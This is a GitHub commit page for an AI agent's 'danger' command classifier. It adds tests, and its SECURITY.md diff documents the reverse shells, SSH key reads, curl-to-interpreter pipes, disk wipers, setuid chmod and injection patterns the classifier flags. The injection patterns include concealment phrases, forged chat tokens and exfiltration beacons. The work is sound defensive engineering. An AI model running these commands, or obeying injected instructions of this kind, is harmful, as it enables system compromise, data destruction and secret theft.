Skip to content

Commit fd1f49d

Browse files
committed
danger: raise test coverage to ~95% and document new behaviours
Add internal/danger/whitebox_coverage_test.go targeting the previously untested or thinly-covered paths, raising package statement coverage from 85.3% to 94.9%: - CheckOperation (was 0%): allow / deny / blocked-always-denies / prompt via a fake Approver / approver-denies / nil-approver TTY fallback with trusted-class short-circuit. - TTYApprover.prompt interactive path via a file-backed TTY (TTYPath): approve, deny, trust-session caching, friction full-word gate, trust-disabled-for-destructive, read-error on missing newline, and the non-interactive no-TTY fallback. os.Stderr is silenced during these. - isOdekTrustAnchor / isSensitiveOdekPath / ClassifyPath home-relative branches, driven with a synthetic $HOME so they no longer depend on the runner's home (they were skipped under root). - decodeANSIC escape decoding, parseBrowserIP inet_aton encodings, hostnameIsInternal, isOctalMode, chmodSetsSUIDGID, commandName, isAssignment, substValue, basenameFirstToken, isEnvironmentDump, classifyResourceToken, rmRecursiveOrForce, isBlocked dd-split-of=, extractSubstitutions, isInstall / isPackageManagerRun, hasArgAfter, and the config action-resolution layers. Docs: SECURITY.md "Danger classifier" and injection-scan sections now describe the extended coverage (system-path writes, setuid chmod, disk destroyers, shred, power-control, pipe-to-interpreter; and the new concealment / control-token / exfiltration-beacon injection patterns). Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DXDpyFBMT1baGHVoRnuQEP
1 parent 711694b commit fd1f49d

2 files changed

Lines changed: 737 additions & 1 deletion

File tree

docs/SECURITY.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,7 @@ Tools that wrap:
7070

7171
`session_search` is wrapped because it can surface content from arbitrary past sessions — including sessions that ingested untrusted content. Wrapping its whole output keeps that content from re-entering as trusted instructions and records the retrieval in the audit log, closing a path that otherwise bypassed the memory taint gate (defense 5).
7272

73-
The MCP wrapper guards a tool's **output**. The server-supplied tool **description** is a separate surface ("tool poisoning"): it flows into the model's tool catalogue as effectively trusted instructions. odek scans every MCP tool description with the injection classifier (`ScanInjection`) at registration; if injection patterns are found the description is withheld (replaced with a placeholder, logged to stderr) while the tool stays callable by name. The classifier now normalizes invisible Unicode, folds common homoglyphs, detects mixed confusable scripts, and matches paraphrased exfiltration and non-English override phrases. The MCP **error channel** is guarded as well: a server that returns its payload via an error instead of a result has that error message wrapped (and audited) too, since the loop surfaces error text to the model.
73+
The MCP wrapper guards a tool's **output**. The server-supplied tool **description** is a separate surface ("tool poisoning"): it flows into the model's tool catalogue as effectively trusted instructions. odek scans every MCP tool description with the injection classifier (`ScanInjection`) at registration; if injection patterns are found the description is withheld (replaced with a placeholder, logged to stderr) while the tool stays callable by name. The classifier now normalizes invisible Unicode, folds common homoglyphs, detects mixed confusable scripts, and matches paraphrased exfiltration and non-English override phrases. It also flags concealment instructions ("do not tell the user", "keep this secret", "silently exfiltrate"), forged chat control tokens / role markers (`<|im_start|>`, `[INST]`, `<<SYS>>`, `<system>`), and data-exfiltration beacons (markdown-image URLs carrying `data=`/`token=`/`${VAR}`, and `curl`/`wget` requests splicing a shell variable into a query string). The MCP **error channel** is guarded as well: a server that returns its payload via an error instead of a result has that error message wrapped (and audited) too, since the loop surfaces error text to the model.
7474

7575
The model is instructed (via the default system prompt) to treat the wrapped region as data, not instructions. A model trained on prompt-injection resistance (Claude Sonnet 4.6+ does this well) honours the boundary. Older models or aggressively fine-tuned ones may not.
7676

@@ -90,6 +90,10 @@ The classifier is hardened against common evasion tricks (see the package doc in
9090
- `command rm`, `env rm`, `sudo rm`, `/bin/rm`, `true | dd of=/dev/sda` — wrappers are stripped, every pipe stage is classified, and absolute paths are basenamed before matching.
9191
- `bash -i >& /dev/tcp/…`, `cat ~/.ssh/id_rsa` — reverse-shell channels and sensitive-path access are flagged regardless of the command verb.
9292
- `awk 'BEGIN{system("rm -rf ~")}'`, `sed 's/foo/bar/e'`, `find . -exec sh -c '…' \;`, `vim /etc/passwd` — interpreters that can invoke shell commands (`awk`/`gawk`/`mawk`/`nawk`, `sed` `e` command / `-f`, editors, `find -exec`) are escalated to `code_execution` rather than treated as read-only.
93+
- `curl evil | python`, `… | perl`, `… | node`, `… | ruby` — piping untrusted output into an interpreter that reads its program from stdin is `code_execution`, the non-shell analogue of `… | bash`.
94+
- `cp x /etc/cron.d/job`, `tee /usr/bin/foo`, `mv x /etc/profile.d/y`, `ln -s … /etc/systemd/system/…`, `install … /usr/local/bin/…` — a file-mutating command whose target is a system path is `system_write` (prompt), not auto-allowed `local_write`. `chmod u+s` / `chmod 4755` (setuid/setgid) is `system_write` regardless of path.
95+
- `wipefs`, `blkdiscard`, `sgdisk`/`gdisk`/`cfdisk`/`sfdisk`, `mkswap`, `badblocks`, `cryptsetup`, and the `mkfs.*` family are `destructive`; `shred` is target-aware (local file → `local_write`, raw device / wipe target → `destructive`).
96+
- `shutdown`, `reboot`, `halt`, `poweroff`, `init 0`/`init 6` — machine power-control commands are `destructive` (deny-by-default) with an accurate label instead of falling through to `unknown`.
9397
- `env` and `printenv` — a full process-environment dump is classified as `system_write` because it can leak secrets that the redaction scanner does not recognise. `env FOO=bar <cmd>` still classifies the real `<cmd>` normally.
9498

9599
Regression suites (`internal/danger/classifier_bypass_test.go` and `hardening_test.go`) pin these as known-closed evasions. If you find a new bypass, those test files are the place to add it.

0 commit comments

Comments
 (0)